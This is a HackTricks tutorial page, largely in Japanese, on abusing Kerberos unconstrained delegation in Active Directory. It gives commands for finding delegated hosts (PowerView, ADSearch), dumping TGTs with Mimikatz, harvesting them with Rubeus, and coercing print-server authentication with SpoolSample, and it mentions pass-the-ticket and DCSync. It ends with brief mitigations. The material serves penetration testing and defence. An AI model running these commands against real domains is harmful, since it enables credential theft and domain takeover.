Unconstrained Delegation

Support HackTricks

Unconstrained delegation

これは、ドメイン管理者がドメイン内の任意のコンピュータに設定できる機能です。次に、ユーザーがコンピュータにログインするたびに、そのユーザーのTGTのコピーがDCによって提供されるTGS内に送信されLSASSのメモリに保存されます。したがって、マシン上で管理者権限を持っている場合、チケットをダンプしてユーザーを偽装することができます。

したがって、ドメイン管理者が「制約のない委任」機能が有効なコンピュータにログインし、そのマシン内でローカル管理者権限を持っている場合、チケットをダンプしてドメイン管理者をどこでも偽装することができます(ドメイン特権昇格)。

この属性を持つコンピュータオブジェクトを見つけることができます。これは、userAccountControl属性がADS_UF_TRUSTED_FOR_DELEGATIONを含んでいるかどうかを確認することで行います。これは、LDAPフィルター‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’を使用して行うことができ、これがpowerviewが行うことです:

# List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way

# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs

MimikatzまたはRubeusを使用して、管理者(または被害者ユーザー)のチケットをメモリにロードします。Pass the Ticket。 詳細情報:https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/ 制約のない委任に関する詳細情報はired.teamにあります。

Force Authentication

攻撃者が「制約のない委任」を許可されたコンピュータを侵害することができれば、彼はプリントサーバー自動的にログインさせてTGTをメモリに保存させることができます。 その後、攻撃者はチケットをパスする攻撃を実行して、ユーザーのプリントサーバーコンピュータアカウントを偽装することができます。

プリントサーバーを任意のマシンにログインさせるには、SpoolSampleを使用できます:

.\SpoolSample.exe <printmachine> <unconstrinedmachine>

If the TGT if from a domain controller, you could perform a DCSync attack and obtain all the hashes from the DC. More info about this attack in ired.team.

ここに認証を強制するための他の方法があります:

Force NTLM Privileged Authentication

Mitigation

  • DA/Adminのログインを特定のサービスに制限する

  • 特権アカウントに対して「アカウントは機密であり、委任できません」を設定する。

Support HackTricks

Last updated